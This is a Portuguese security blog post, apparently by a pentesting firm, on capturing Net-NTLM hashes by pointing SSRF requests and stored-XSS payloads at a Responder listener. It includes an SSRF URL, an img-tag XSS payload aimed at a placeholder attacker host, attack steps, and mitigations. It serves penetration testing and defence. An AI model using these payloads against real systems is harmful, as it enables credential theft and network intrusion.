Introdução
A autenticação NTLM é o padrão de fato em redes corporativas que utilizam Windows. Existe uma infinidade de ataques locais bem compreendidos que tiram proveito da forma como o Windows realiza a autenticação NTLM automática, e abusar desse recurso está, sem dúvida, no manual de todo testador de penetração e red teamer.
Aqui na Blaze Information Security, passamos algum tempo investigando como poderíamos abusar desse recurso usando vetores remotos, especialmente do ponto de vista de vulnerabilidades em aplicações web.
O objetivo é discutir como problemas como Server-Side Request Forgery (SSRF) e Cross-Site Scripting (XSS) podem ser utilizados para roubar hashes Net-NTLM, o que pode ser útil para obter acesso adicional a uma rede.
Este post pressupõe que o leitor esteja familiarizado com alguns dos conceitos aqui descritos e omitirá vários detalhes técnicos sobre o funcionamento interno da autenticação NTLM, como configurar e usar as ferramentas necessárias para capturar hashes Net-NTLM, ou ensinar como explorar XSS e SSRF.
Todos os experimentos foram realizados pela Blaze Information Security em seus laboratórios usando Windows 10 bare-metal, máquinas virtuais Windows 7 e Ubuntu Linux como servidor de autenticação malicioso.
Algumas palavras sobre a Autenticação Integrada do Windows
Qualquer pessoa que já tenha usado Windows em um ambiente corporativo de intranet pode ter notado que acessar recursos corporativos em uma rede é algo fluido e, em muitos casos, não requer solicitação explícita de credenciais além do login inicial no domínio Windows. Isso é verdade para vários serviços, como unidades de rede mapeadas, sites de intranet e muito mais.
Windows WinHTTP fornece aos desenvolvedores uma API de alto nível que lida com o protocolo HTTP/1.1. Entre outras funcionalidades, o WinHTTP tem a capacidade de lidar automaticamente com a autenticação para acessar recursos protegidos, negociando NTLM, Kerberos e outros.
Os navegadores baseados em Microsoft, Internet Explorer e Edge, possuem o conceito de zonas confiáveis: Internet, Intranet Local, Sites Confiáveis e Sites Restritos. Cada zona tem um nível de segurança diferente e restrições associadas. Por exemplo, para sites na zona de Intranet, o Internet Explorer desativa o filtro XSS, executa plug-ins ActiveX, realiza logins automáticos e, no geral, possui menos controles de segurança do que para sites da Internet.
Por padrão, quando um servidor web possui um recurso protegido por autenticação NTLM, o Internet Explorer e o Edge realizarão a autenticação automaticamente se o site estiver localizado dentro da intranet corporativa ou estiver na lista de permissões dos Sites Confiáveis, respeitando o conceito de zonas confiáveis.
Outros navegadores, como Mozilla Firefox e Google Chrome, também suportam login NTLM automático. O Chrome depende das mesmas configurações do Internet Explorer; no caso do Firefox, essa configuração não é habilitada por padrão e precisa ser alterada manualmente via about:config.
Conheça o Responder
O Responder, de Laurent Gaffie, é de longe a ferramenta mais popular no arsenal de todo testador de penetração para roubar diferentes formas de credenciais, incluindo hashes Net-NTLM.
O funcionamento baseia-se na configuração de vários daemons emulados, porém maliciosos, como servidores SQL, FTP, HTTP e SMB, para solicitar credenciais diretamente ou simular um procedimento de autenticação desafio-resposta e capturar os hashes necessários enviados pelo cliente.
O Responder também tem a capacidade de envenenar protocolos como LLMNR, NBT-NS e mDNS, mas estes não serão abordados nesta publicação.
Cenários de abuso via vulnerabilidades em aplicações web
Recentemente, dedicamos algum tempo a investigar como explorar ainda mais as vulnerabilidades de aplicações web para obter acesso a uma rede, aproveitando o facto de o Windows, sob certas condições, poder responder com hashes NTLM quando solicitado a fornecer credenciais.
Queríamos descrever duas vulnerabilidades comuns encontradas em aplicações web e como poderíamos utilizá-las para roubar hashes, comprometer contas e obter uma posição numa rede corporativa.
Cenário n.º 1: De SSRF a hashes
As vulnerabilidades SSRF são frequentemente utilizadas para enviar pedidos HTTP para outros servidores e analisar a rede interna. Acontece que também podem forçar uma aplicação web vulnerável a fazer com que o servidor Windows subjacente divulgue os seus hashes NTLM.
Criámos uma aplicação Flask vulnerável a SSRF para ilustrar melhor o problema. O conceito é muito simples: tem um parâmetro URL e, quando qualquer site lhe é passado, seja http://www.blazeinfosec.com ou http://intranet.corporate, envia um pedido HTTP, obtém o recurso e responde ao cliente com o conteúdo obtido.
A aplicação web vulnerável de exemplo baseia-se no módulo win32com do Python. Com este módulo, é possível chamar um objeto COM que utiliza o WinHTTP.WinHTTPRequest.5.1 nativo para emitir pedidos HTTP e, porque SetAutoLoginPolicy está definido como 0, ele enviará as credenciais automaticamente.
É importante mencionar que as funções de busca de recursos de URL de alguns frameworks não possuem integração estreita com o Windows e não realizarão o logon automático, ao contrário deste caso. No entanto, o URLConnection()do Java, e possivelmente outros, também o farão.
Para explorar a vulnerabilidade e obter o hash Net-NTLM do usuário, basta navegar para a seguinte URL:
http://127.0.0.1:8000/?url=http://server_listening_responder
Em segundo plano, sem qualquer tipo de interação, acontece o seguinte:
- A API do Windows enviará uma solicitação HTTP
- O servidor (neste caso, o Responder) enviará o cabeçalho
WWW-Authenticate: NTLM, solicitando a autenticação com NTLM - O cliente (neste caso, a aplicação vulnerável em execução no servidor) responderá ao desafio, e o atacante capturará o hash Net-NTLM do servidor
O resultado final é o adversário capturando com sucesso as credenciais Net-NTLM:
Embora os hashes Net-NTLM não possam ser usados em ataques Pass-the-Hash, ao contrário dos hashes NTLM puros, eles podem ser retransmitidos ou quebrados usando ferramentas prontas como o hashcat:
Cenário nº 2: XSS: alert(1) é entediante, vamos obter alguns hashes Net-NTLM
Como mencionado anteriormente, quando um servidor web solicita credenciais NTLM ao Internet Explorer e ao Edge, em sua configuração padrão, ele realizará o procedimento de autenticação desafio-resposta e enviará o hash do usuário logado para o servidor solicitante, desde que o domínio do site esteja na intranet corporativa ou presente na lista de Sites Confiáveis.
Abaixo está a configuração padrão do Internet Explorer no que diz respeito ao logon automático em sites da intranet:
Com muita frequência, as empresas colocam seus domínios corporativos na lista de permissões como sites confiáveis da intranet, como no exemplo a seguir:
Isso significa que, se você estiver realizando um teste de intrusão em uma aplicação web executada em uma intranet e encontrar um Cross-Site Scripting, há grandes chances de transformar essa vulnerabilidade, que de outra forma seria irrelevante, em uma mina de ouro para roubo de hashes.
Ao induzir qualquer pessoa em um ambiente corporativo a navegar em uma página que contenha o seguinte código HTML:
<html><img src="http://hostname_to_internal_responder"></html>
Se o servidor HTTP que executa o Responder estiver dentro da intranet e seu nome de host, ou seu subdomínio, estiver marcado como confiável — como geralmente acontece —, o Internet Explorer e o Edge enviarão os hashes automaticamente.
As etapas a seguir descrevem o padrão de ataque de XSS para hashes NTLM:
- Passo 1: Configure o Responder para rodar em modo HTTP na rede local. Muitas vezes, você terá um DNS reverso para seu IP na rede corporativa, o que significa que você terá um nome de host.
- Passo 2: No payload de XSS, insira algo como
<img src="http://hostname_to_internal_responder"> - Passo 3: Aguarde uma vítima desavisada navegar na página afetada pelo XSS – se for um XSS armazenado, melhor ainda.
- Passo 4: Capture os hashes.
Normalmente, as organizações também marcam como confiável todo o conteúdo servido por seus subdomínios. Por exemplo, se *.blazeinfosec.com estiver na lista de permissões, basta que um servidor em *.blazeinfosec.com seja comprometido para executar o Responder, e ele poderá ser usado posteriormente para roubar hashes de usuários na rede corporativa por meio desse vetor.
Se o cliente tentar se conectar a um servidor HTTP que o desafie com autenticação NTLM, mas o nome de host não estiver em nenhuma lista de confiança do Internet Explorer ou do Edge, o cliente será solicitado a inserir credenciais, como na captura de tela abaixo:
Mitigando o risco
Os problemas descritos neste post são todos bem conhecidos e, na verdade, são decisões de design do Windows. A autenticação NTLM funciona dessa maneira desde o início, e algumas dessas vulnerabilidades são discutidas há mais de 20 anos, apesar de não haver uma consciência significativa sobre seus riscos.
Existem, no entanto, diferentes maneiras de reduzir o impacto causado por esse comportamento inseguro do Windows.
Definindo como 2 o valor da chave de registro RestrictSendingNTLMTraffic em HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 reduzirá a exposição a este risco, uma vez que o Windows deixará de enviar hashes NTLMv1 ou NTLMv2 quando solicitado por um servidor, seja ele legítimo ou mal-intencionado.
No entanto, é importante considerar que isso pode interromper funcionalidades, especialmente em redes corporativas que utilizam intensamente o NTLM para início de sessão automático.
No cenário relacionado a SSRF, recomenda-se utilizar bibliotecas HTTP que não realizem autenticação NTLM automática. Outra ideia para reduzir este risco é implementar regras no seu proxy corporativo que impeçam a negociação de autenticação NTLM com servidores fora do limite da sua rede.
Conclusão
A autenticação NTLM pode trazer diversos benefícios para uma organização que depende do Windows e de outros produtos Microsoft. As capacidades de início de sessão único (Single Sign-On) proporcionam uma experiência de utilizador fluida ao aceder a diferentes sistemas corporativos, melhorando a produtividade dos utilizadores e reduzindo o esforço de ter de se autenticar constantemente.
Contudo, existem riscos de segurança relacionados com a autenticação NTLM que são frequentemente ignorados, apesar de serem conhecidos há mais de duas décadas.
Para os especialistas em testes de intrusão, sempre que encontrar um SSRF, pode valer a pena direcioná-lo para um servidor que esteja a executar um listener do Responder. Existe sempre a possibilidade de obter hashes NTLMv1 ou NTLMv2 e conseguir aprofundar o acesso na rede alvo.
Programadores e responsáveis pela gestão de risco não devem subestimar o impacto de um XSS em aplicações internas. Pode ser uma boa ideia rever o seu sistema de gestão de erros à procura de tickets marcados como WONT_FIX que contenham XSS numa aplicação interna e reconsiderar deixá-los por resolver, uma vez que o seu impacto pode ser muito maior do que uma simples janela pop-up ou o roubo de um cookie de sessão.
É sempre interessante transformar uma vulnerabilidade aparentemente inofensiva, como o Cross-Site Scripting, num ponto de entrada real numa rede corporativa.
